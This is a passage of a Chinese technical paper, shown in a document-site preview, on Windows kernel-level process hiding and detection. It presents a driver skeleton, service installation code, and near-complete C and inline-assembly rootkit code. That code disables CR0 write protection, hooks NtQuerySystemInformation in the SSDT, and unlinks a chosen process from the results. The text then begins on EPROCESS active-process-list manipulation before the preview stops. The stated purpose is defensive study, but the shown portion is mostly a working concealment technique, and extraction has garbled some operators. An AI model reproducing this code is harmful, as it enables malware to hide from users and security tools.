Windows2003 內(nèi)核級進程隱藏、偵測技術(shù)_第1頁
Windows2003 內(nèi)核級進程隱藏、偵測技術(shù)_第2頁
Windows2003 內(nèi)核級進程隱藏、偵測技術(shù)_第3頁
Windows2003 內(nèi)核級進程隱藏、偵測技術(shù)_第4頁
Windows2003 內(nèi)核級進程隱藏、偵測技術(shù)_第5頁
已閱讀5頁,還剩9頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)

文檔簡介

1、Windows2003 內(nèi)核級進程隱藏、偵測技術(shù)        關(guān)鍵字: 內(nèi)核攔截活動進程鏈表系統(tǒng)服務(wù)派遣表線程調(diào)度鏈 驅(qū)動程序簡介   論文摘要:信息對抗是目前機的一個重要的方向,為了更好的防御,必須去深入的了解敵人進攻的招式。信息對抗促使信息技術(shù)飛速的發(fā)展。下面我選取了信息對抗技術(shù)的中一個很小一角關(guān)于windows內(nèi)核級病毒隱藏技術(shù)和反病毒偵測技術(shù)作為議題詳細討論。  1.為什么選驅(qū)動程序  驅(qū)動程序是運行在系統(tǒng)信任的Ring0環(huán)境下在代碼,她擁有對系

2、統(tǒng)任何軟件和硬件的訪問權(quán)限。這意味著內(nèi)核驅(qū)動可以訪問所有的系統(tǒng)資源,可以讀取所有的內(nèi)存空間,而且也被允許執(zhí)行CPU的特權(quán)指令,如,讀取CPU控制寄存器的當(dāng)前值等。而處于用戶模式下的程序如果試圖從內(nèi)核空間中讀取一個字節(jié)或者試圖執(zhí)行像MOV EAX,CR3這樣的匯編指令都會被立即終止掉。不過,這種強大的底線是驅(qū)動程序的一個很小的錯誤就會讓整個系統(tǒng)崩潰。所以對隱藏和反隱藏技術(shù)來說都提供了一個極好的環(huán)境。但是又對攻擊者和反查殺者提出了更高的技術(shù)要求。  2.入口例程DriverEntry  DriverEntry是內(nèi)核模式驅(qū)動程序主入口點常用的名字,她的作用和main,W

3、inMain,是一樣的。  extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) . DriverEntry的第一個參數(shù)是一個指針,指向一個剛被初始化的驅(qū)動程序?qū)ο?,該對象就代表你的?qū)動程序,DriverEntry的第二個參數(shù)是設(shè)備服務(wù)鍵的鍵名。DriverEntry函數(shù)返回一個NTSTATUS值。NTSTATUS實際就是一個長整型,但你應(yīng)該使用N

4、TSTATUS定義該函數(shù)的返回值而不是LONG,這樣代碼的可讀性會更好。大部分內(nèi)核模式支持例程都返回NTSTATUS狀態(tài)代碼,你可以在DDK頭文件NTSTATUS.H中找到NTSTATUS的代碼列表。  DriverEntry的作用主要就是創(chuàng)建設(shè)備對象,建立設(shè)備對象的符號鏈接,設(shè)置好各個類型的回調(diào)函數(shù)等。  例如:  extern "C"  NTSTATUS  DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_ST

5、RING RegistryPath)     DriverObject->DriverUnload = DriverUnload;                                 

6、0;                           <-1   DriverObject->DriverExtension->AddDevice = AddDevice;   DriverObject->DriverStartIo 

7、;= StartIo;   DriverObject->MajorFunctionIRP_MJ_PNP = DispatchPnp;                                  &#

8、160;     <-2   DriverObject->MajorFunctionIRP_MJ_POWER = DispatchPower;   DriverObject->MajorFunctionIRP_MJ_SYSTEM_CONTROL = DispatchWmi;   .    在WDM中通過設(shè)置AddDevice回調(diào)函數(shù)來創(chuàng)建設(shè)備對象。在NT驅(qū)動中在DriverEntry例程中創(chuàng)建設(shè)備對象和符號鏈

9、接。  例如:  RtlInitUnicodeString (&deviceNameUnicodeString, deviceNameBuffer); /初始化設(shè)備名字 /創(chuàng)建設(shè)備  ntStatus = IoCreateDevice (DriverObject,                    

10、0;              0,                              &deviceNameUnicodeString,  &

11、#160;                           #DeviceId,                     &#

12、160;        0,                              FALSE,           

13、0;                  &deviceObject                             

14、0;);  if ( NT_SUCCESS ( ntStatus ) )        RtlInitUnicodeString (&deviceLinkUnicodeString, deviceLinkBuffer); /初始化符號鏈接名字  /創(chuàng)建符號鏈接     ntStatus = IoCreateSymbolicLink (&am

15、p;deviceLinkUnicodeString, &deviceNameUnicodeString);     if ( !NT_SUCCESS ( ntStatus ) )           IoDeleteDevice (deviceObject); /如果創(chuàng)建符號鏈接失敗,刪除設(shè)備      

16、60;       return ntStatus;      建立符號鏈接的作用就是暴露一個給應(yīng)用程序的接口,應(yīng)用程序可以通過CreateFile API打開鏈接符號,得到一個語柄,和我們的驅(qū)動程序進行交互操作。 3.Unload例程  雖然各個驅(qū)動程序的Unload例程不盡相同,但是它大致執(zhí)行下列工作:  釋放屬于驅(qū)動程序的任何硬件。  從Win32的名字空間移除符號連接名。  這個動作可以調(diào)用IoDeleteSymbolicLin

17、k來實現(xiàn)。  使用IoDeleteDevice移除設(shè)備對象。  釋放驅(qū)動程序持有的任何緩沖池等。  VOID DriverUnload ( IN PDRIVER_OBJECT pDriverObject )    PDEVICE_OBJECT pNextObj;  / 循環(huán)每一個驅(qū)動過程控制的設(shè)備  pNextObj = pDriverObject->DeviceObject;  while (pNe

18、xtObj != NULL)    /從設(shè)備對象中取出設(shè)備Extension  PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)extObj->DeviceExtension;  / 取出符號連接名  UNICODE_STRING pLinkName = pDevExt->ustrSymLinkName;  IoDeleteSymbolicLink(&pLinkName);

19、0;/刪除符號連接名  IoDeleteDevice(pNextObj); / 刪除設(shè)備  pNextObj = pNextObj->NextDevice;      4. 派遣例程  Win2000的I/O請求是包驅(qū)動的,當(dāng)一個I/O請求開始,I/O管理器先創(chuàng)建一個IRP去跟蹤這個請求,另外,它存儲一個功能代碼在IRP的I/O堆棧區(qū)的MajorField域中來唯一的標(biāo)識請求的類型。MajorField域是被I/O管理器用來索引驅(qū)動程序?qū)ο蟮腗ajorFunction表,這個表包

20、含一個指向一個特殊I/O請求的派遣例程的功能指針,如果驅(qū)動程序不支持這個請求,MajorFunction表就會指向I/O管理器函數(shù)_IopInvalidDeviceRequest,該函數(shù)返回一個錯誤給原始的調(diào)用者。驅(qū)動程序的作者有責(zé)任提供所有的驅(qū)動程序支持的派遣例程。所有的驅(qū)動程序必須支持IRP_MJ_CREATE功能代碼,因為這個功能代碼是用來響應(yīng)Win32用戶模式的CreateFile調(diào)用,如果不支持這功能代碼,Win32程序就沒有辦法獲得設(shè)備的句柄,類似的,驅(qū)動程序必須支持IRP_MJ_CLOSE功能代碼,因為它用來響應(yīng)Win32用戶模式的CloseHandle調(diào)用。順便提一下,系統(tǒng)自動

21、調(diào)用CloseHandle函數(shù),因為在程序退出的時候,所有的句柄都沒有被關(guān)閉。   static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)        NTSTATUS status;      PIO_STACK_LOCATION irpSp;   

22、   /得到當(dāng)前IRP (I/O請求包)      irpSp = IoGetCurrentIrpStackLocation( Irp );      switch (irpSp->MajorFunction)                case I

23、RP_MJ_CREATE:              DbgPrint("IRP_MJ_CREATEn");              Irp->IoStatus.Status = STATUS_SUCCESS;       

24、0;      Irp->IoStatus.Information = 0L;              break;          case IRP_MJ_CLOSE:          

25、    DbgPrint("IRP_MJ_CLOSEn");              Irp->IoStatus.Status = STATUS_SUCCESS;              Irp->IoStatus.Information

26、60;= 0L;              break;            IoCompleteRequest(Irp, 0);      return STATUS_SUCCESS;    大部分的I/O管理器的操作支持一個標(biāo)準(zhǔn)的讀寫提取,IRP_MJ_DEVIC

27、E_CONTROL允許擴展的I/O請求,使用用戶模式的DeviceIoControl函數(shù)來調(diào)用,I/O管理器創(chuàng)建一個IRP,這個IRP的MajorFunction和IoControlCode是被DeviceIoControl函數(shù)指定其內(nèi)容。傳遞給驅(qū)動程序的IOCTL遵循一個特殊的結(jié)構(gòu),它有32-bit大小,DDK包含一個方便的產(chǎn)生IOCTL值的機制的宏,CTL_CODE。可以使用CTL_CODE宏來定義我們自己的IOCTL。  例如:  #define IOCTL_MISSLEDEVICE_AIM  CTL_CODE   (

28、 FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ACCESS_ANY )   NTSTATUS DispatchIoControl( IN PDEVICE_OBJECT pDO, IN PIRP pIrp )        NTSTATUS status = STATUS_SUCCESS; &#

29、160;         PDEVICE_EXTENSION pDE;      PVOID userBuffer;      ULONG inSize;      ULONG outSize;      ULONG controlCode;  &#

30、160;              / IOCTL請求代碼      PIO_STACK_LOCATION pIrpStack;   /堆棧區(qū)域存儲了用戶緩沖區(qū)信息       pIrpStack = IoGetCurrentIrpStackLocation( pIrp

31、 );      / 取出IOCTL請求代碼      controlCode = pIrpStack-> Parameters.DeviceIoControl.IoControlCode;      / 得到請求緩沖區(qū)大小      inSize = pIrpStack-> Parameters

32、.DeviceIoControl.InputBufferLength;      OutSize = pIrpStack-> Parameters.DeivceIoControl.OutputBufferLength;      /現(xiàn)在執(zhí)行二次派遣      switch (controlCode)          &#

33、160;     case IOCTL_MISSLEDEVICEAIM:         .          case IOCTL_DEVICE_LAUNCH:          .        

34、  default:    / 驅(qū)動程序收到了未被承認的控制代碼          status = STATUS_INVALID_DEVICE_REQUEST;            pIrp->IoStatus.Information = 0; / 數(shù)據(jù)沒有傳輸

35、0;     IoCompleteRequest( pIrp, IO_NO_INCREMENT )            return status;    5.驅(qū)動程序的安裝      SC管理器(即服務(wù)控制管理器)可以控制服務(wù)和驅(qū)動程序。      加載和運行一個服務(wù)需要執(zhí)行的典型操作

36、步驟:      1.調(diào)用OpenSCManager()以獲取一個管理器句柄      2.調(diào)用CreateService()來向系統(tǒng)中添加一個服務(wù)      3.調(diào)用StartService()來運行一個服務(wù)      4.調(diào)用CloseServiceHandle()來釋放管理器或服務(wù)句柄   BOOL    InstallDriver

37、()        SC_HANDLE hSCManager = NULL;      hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);      if(hSCManager = NULL)        fpri

38、ntf(stderr, "OpenSCManager() failed. -err: %dn", GetLastError();          return FALSE;            SC_HANDLE schService;  schService = CreateServ

39、ice( hSCManager, /SCManager database                             "MyDriver",          

40、;   / name of service                              "MyDriver",         

41、;    / name to display                             SERVICE_ALL_ACCESS,     / desired acces

42、s                             SERVICE_KERNEL_DRIVER,   / service type            

43、;                  SERVICE_AUTO_START,    / start type                      

44、;SERVICE_ERROR_NORMAL, / error control type                              DriverPath,        

45、60;     / services binary                              NULL,          

46、       / no load ordering group                              NULL,     

47、0;              / no tag identifier                              NULL,

48、                    / no dependencies                          &#

49、160;   NULL,                    / LocalSystem account                     &

50、#160;        NULL                     / no password                

51、60;             );      if (schService = NULL)                if(GetLastError() = ERROR_SERVICE_EXISTS)   

52、;                     printf("Service has already installed!n");                    p

53、rintf("Install driver false!");          return FALSE;            BOOL    nRet = StartService(schService, 0, NULL);     

54、 if(!nRet)              if(GetLastError() = ERROR_SERVICE_ALREADY_RUNNING)                        printf("Serv

55、ice is already running!n");              return FALSE;         CloseServiceHandle(schService);      CloseServiceHandle(hSCManager);    

56、  return TRUE;    以上對驅(qū)動程序大致框架做了一個非常簡單的介紹,這僅僅是驅(qū)動程序中的一個”Hello World!”。驅(qū)動程序是相當(dāng)復(fù)雜的,由于我們只是利用驅(qū)動程序的特權(quán),對windows內(nèi)核進行修改,所以就不對驅(qū)動驅(qū)動程序進行深入討論了。  通過Hook SSDT (System Service Dispath Table) 隱藏進程  1.原理介紹: Windows操作系統(tǒng)是一種分層的架構(gòu)體系。應(yīng)用層的程序是通過API來訪問操作系統(tǒng)。

57、而API又是通過ntdll里面的核心API來進行系統(tǒng)服務(wù)的查詢。核心API通過對int 2e的切換,從用戶模式轉(zhuǎn)換到內(nèi)核模式。2Eh中斷的功能是通過NTOSKRNL.EXE的一個函數(shù)KiSystemService()來實現(xiàn)的。在你使用了一個系統(tǒng)調(diào)用時,必須首先裝載要調(diào)用的函數(shù)索引號到EAX寄存器中。把指向參數(shù)區(qū)的指針被保存在EDX寄存器中。中斷調(diào)用后,EAX寄存器保存了返回的結(jié)果。KiSystemService()是根據(jù)EAX的值來決定哪個函數(shù)將被調(diào)用。而系統(tǒng)在SSDT中維持了一個數(shù)組,專門用來索引特定的函數(shù)服務(wù)地址。在Windows 2000中有一個未公開的由ntoskr

58、nl.exe導(dǎo)出的KeServiceDescriptorTable變量,我們可以通過它來完成對SSDT的訪問與修改。KeServiceDescriptorTable對應(yīng)于一個數(shù)據(jù)結(jié)構(gòu),定義如下:  typedef struct SystemServiceDescriptorTable     UINT    *ServiceTableBase;     UINT    *ServiceCounterTabl

59、eBase;     UINT    NumberOfService;     UCHAR    *ParameterTableBase; SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;  其中ServiceTableBase指向系統(tǒng)服務(wù)程序的地址(SSDT),ParameterTableBase則指向SSPT中的參數(shù)地址,它們都包含了NumberOfS

60、ervice這么多個數(shù)組單元。在windows 2000 sp4中NumberOfService的數(shù)目是248個。  我們的任務(wù)管理器,是通過用戶層的API來枚舉當(dāng)前的進程的。Ring3級枚舉的方法:   PSAPI   EnumProcesses()   ToolHelp32   Process32First()  - Process32Next()  來對進程進行枚舉。而她們最后都是通過NtQuerySystemInformation來進行查詢的。所以

61、我們只需要Hook掉NtQuerySystemInformation,把真實NtQuerySystemInformation返回的數(shù)進行添加或者是刪改,就能有效的欺騙上層API。從而達到隱藏特定進程的目的。  2. Hook  Windows2000中NtQuerySystemInformation在SSDT里面的索引號是0x97,所以只需要把SSDT中偏移0x97*4處把原來的一個DWORD類型的讀出來保存一個全局變量中然后再把她重新賦值成一個新的Hook函數(shù)的地址,就完成了Hook。  OldFuncAddress = KeSer

62、viceDescriptorTable-> ServiceCounterTableBase0x97;  KeServiceDescriptorTable-> ServiceCounterTableBase0x97 = NewFuncAddress;  在其他系統(tǒng)中這個號就不一定一樣。所以必須找一種通用的辦法來得到這個索引號。在Undocument Nt中介紹了一種辦法可以解決這個通用問題,從未有效的避免了使用硬編碼。在ntoskrnl 導(dǎo)出的 ZwQuerySystemInformation中

63、包含有索引號的硬編碼:  kd> u ZwQuerySystemInformation  804011aa    b897000000      mov         eax,0x97  804011af    8d542404       

64、 lea         edx,esp+0x4  804011b3    cd2e            int         2e  804011b5    c21000 &

65、#160;        ret         0x10  所以只需要把ZwQuerySystemInformation入口處的第二個字節(jié)取出來就能得到相應(yīng)的索引號了。例如:  ID = *(PULONG)(PUCHAR)ZwQuerySystemInformation+1);  RealZwQuerySystemInformation=(PServiceDescriptor

66、TableEntry)KeServiceDescriptorTable)->ServiceTableBaseID);  (PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBaseID = HookZwQuerySystemInformation;  3.對NtQuerySystemInformation返回的數(shù)據(jù)進行刪改  NtQuerySystemInformation的原型:  NtQuerySystemInformation(&#

67、160;         IN ULONG SystemInformationClass,   /查詢系統(tǒng)服務(wù)類型          IN PVOID SystemInformation,        /接收系統(tǒng)信息緩沖區(qū)     

68、60; IN ULONG SystemInformationLength,   /接收信息緩沖區(qū)大小         OUT PULONG ReturnLength);       /實際接收到的大小  NtQuerySystemInformation可以對系統(tǒng)的很多狀態(tài)進行查詢,不僅僅是對進程的查詢,通過SystemInformationClas

69、s號來區(qū)分功能,當(dāng)SystemInformationClass等于5的時候是在進行進程的查詢。此時返回的SystemInformation 是一個 _SYSTEM_PROCESSES結(jié)構(gòu)。  struct _SYSTEM_PROCESSES        ULONG NextEntryDelta;   /下一個進程信息的偏移量,如果為0表示無一個進程信息      ULONG ThreadCoun

70、t;     /線程數(shù)量      ULONG Reserved6;     /      LARGE_INTEGER CreateTime;      /創(chuàng)建進程的時間      LARGE_INTEGER UserTime;  

71、0;      /進程中所有線程在用戶模式運行時間的總和      LARGE_INTEGER KernelTime;      /進程中所有線程在內(nèi)核模式運行時間的總和      UNICODE_STRING ProcessName;     /進程的名字     &

72、#160;KPRIORITYBasePriority;         /線程的缺省優(yōu)先級      ULONG ProcessId;                /進程ID號      ULONG InheritedFromP

73、rocessId;  /繼承語柄的進程ID號      ULONG HandleCount;              /進程打開的語柄數(shù)量         ULONG Reserved22;        &

74、#160;    /       VM_COUNTERS VmCounters;         /虛擬內(nèi)存的使用情況統(tǒng)計      IO_COUNTERS IoCounters;         /IO操作的統(tǒng)計,Only For

75、0;2000      struct _SYSTEM_THREADS Threads1; /描述進程中各線程的數(shù)組  ;  當(dāng)NextEntryDelta域等于0時表示已經(jīng)到了進程信息鏈的末尾。我們要做的僅僅是把要隱藏的進程從鏈中刪除。  4. 核心實現(xiàn)  /系統(tǒng)服務(wù)表入口地址  extern PServiceDescriptorTableEntry KeServiceDescriptorTable;  NTSTATUS

76、60;DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)              _asm          mov eax, cr0        

77、60; mov CR0VALUE, eax          and eax, 0fffeffffh /DisableWriteProtect          mov cr0, eax            /取得原來ZwQuerySys

78、temInformation的入口地址  RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase*(PULONG)(PUCHAR)ZwQuerySystemInformation+1) );      /Hook  (PServiceDescriptorTableEntry)KeServiceDescr

79、iptorTable)->ServiceTableBase*(PULONG)(PUCHAR)ZwQuerySystemInformation+1)=HookFunc;      /EnableWriteProtect      _asm                mov eax, CR0VALUE   

80、60;      mov cr0, eax                  return STATUS_SUCCESS;       VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)     &

81、#160;        /UnHook恢復(fù)系統(tǒng)服務(wù)的原始入口地址  (PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase*(PULONG)(PUCHAR)ZwQuerySystemInformation+1) = RealZwQuerySystemInformation;             NTSTA

82、TUS HookFunc(          IN ULONG SystemInformationClass,          IN PVOID SystemInformation,          IN ULONG SystemInformationLe

83、ngth,          OUT PULONG ReturnLength)        NTSTATUS rc;      struct _SYSTEM_PROCESSES *curr;      / 保存上一個進程信息的指針     

84、0;struct _SYSTEM_PROCESSES *prev = NULL;      /調(diào)用原函數(shù)      rc = (RealZwQuerySystemInformation) (          SystemInformationClass,        

85、;  SystemInformation,          SystemInformationLength, ReturnLength);      if(NT_SUCCESS(rc)        if(5 = SystemInformationClass)  /如果系統(tǒng)查詢類型是SystemProcessesAndThreadsIn

86、formation                        curr = (struct _SYSTEM_PROCESSES *)SystemInformation;              /加第一個

87、偏移量得到第一個system進程的信息首地址              if(curr->NextEntryDelta)(char *)curr += curr->NextEntryDelta);              while(curr)     &

88、#160;          if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) = 0)                        &

89、#160;               /找到要隱藏的進程                      if(prev)           

90、                                                   

91、0;          if(curr->NextEntryDelta)                                     

92、;                   /要刪除的信息在中間                              

93、prev->NextEntryDelta += curr->NextEntryDelta;                                         

94、60;          else                                        

95、60;               /要刪除的信息在末尾                              prev->NextEntryDelt

96、a = 0;                                                 

97、                     else                               

98、;                 if(curr->NextEntryDelta)                              

99、                          /要刪除的信息在開頭                       &

100、#160;      (char *)SystemInformation += curr->NextEntryDelta;                                 

101、60;                  else                                

102、60;                       SystemInformation = NULL;                     

103、60;                                                /如果鏈下一個還有其他的進程信息,指針

104、往后移                      if(curr->NextEntryDelta)  (char*)curr+=curr->NextEntryDelta);                &#

105、160;   else                                               &#

106、160;curr = NULL;                          break;                    &#

107、160;                                     if(curr != NULL)          

108、60;                             /把當(dāng)前指針設(shè)置成前一個指針,當(dāng)前指針后移                  

109、0;   prev = curr;                      if(curr->NextEntryDelta)  (char*)curr+=curr->NextEntryDelta);          

110、0;           else curr = NULL;                                 / end&#

111、160;while(curr)                      return rc;    通過IOCTL和Ring3級的應(yīng)用程序通過DeviceIoControl(API)交互信息。Ring3級的用戶程序使用,  DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen, 

112、 NULL,0,& BytesReturned,NULL)來通知驅(qū)動程序要隱藏的進程的名字。  枚舉和修改活動進程鏈表來檢測和隱藏進程  1. 介紹EPROCESS塊(進程執(zhí)行塊)  每個進程都由一個EPROCESS塊來表示。EPROCESS塊中不僅包含了進程相關(guān)了很多信息,還有很多指向其他相關(guān)結(jié)構(gòu)數(shù)據(jù)結(jié)構(gòu)的指針。例如每一個進程里面都至少有一個ETHREAD塊表示的線程。進程的名字,和在用戶空間的PEB(進程環(huán)境)塊等等。EPROCESS中除了PEB成員塊在是用戶空間,其他都是在系統(tǒng)空間中的。   2. 查

113、看EPROCESS結(jié)構(gòu)  kd> !processfields  !processfields   EPROCESS structure offsets:      Pcb:                         

114、      0x0      ExitStatus:                        0x6c      LockEvent:     

115、                    0x70      LockCount:                      

116、60;  0x80      CreateTime:                        0x88      ExitTime:        

117、60;                 0x90      LockOwner:                         

118、0x98      UniqueProcessId:                   0x9c      ActiveProcessLinks:             

119、60;  0xa0      QuotaPeakPoolUsage0:             0xa8      QuotaPoolUsage0:                 

120、;0xb0      PagefileUsage:                     0xb8      CommitCharge:            

121、0;         0xbc      PeakPagefileUsage:                 0xc0      PeakVirtualSize:      &#

122、160;            0xc4      VirtualSize:                       0xc8      Vm:&

123、#160;                               0xd0      DebugPort:          

124、0;              0x120      ExceptionPort:                     0x124      Ob

125、jectTable:                       0x128      Token:                  &#

126、160;          0x12c      WorkingSetLock:                    0x130      WorkingSetPage:  &#

127、160;                 0x150      ProcessOutswapEnabled:             0x154      ProcessOutswapped:

128、0;                0x155      AddressSpaceInitialized:           0x156      AddressSpaceDeleted:   &#

129、160;           0x157      AddressCreationLock:               0x158      ForkInProgress:     

130、60;              0x17c      VmOperation:                       0x180    

131、60; VmOperationEvent:                  0x184      PageDirectoryPte:                  0x1f0

132、      LastFaultCount:                    0x18c      VadRoot:               

133、            0x194      VadHint:                           0x198   

134、0;  CloneRoot:                         0x19c      NumberOfPrivatePages:           

135、60;  0x1a0      NumberOfLockedPages:               0x1a4      ForkWasSuccessful:              &

136、#160;  0x182      ExitProcessCalled:                 0x1aa      CreateProcessReported:            

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論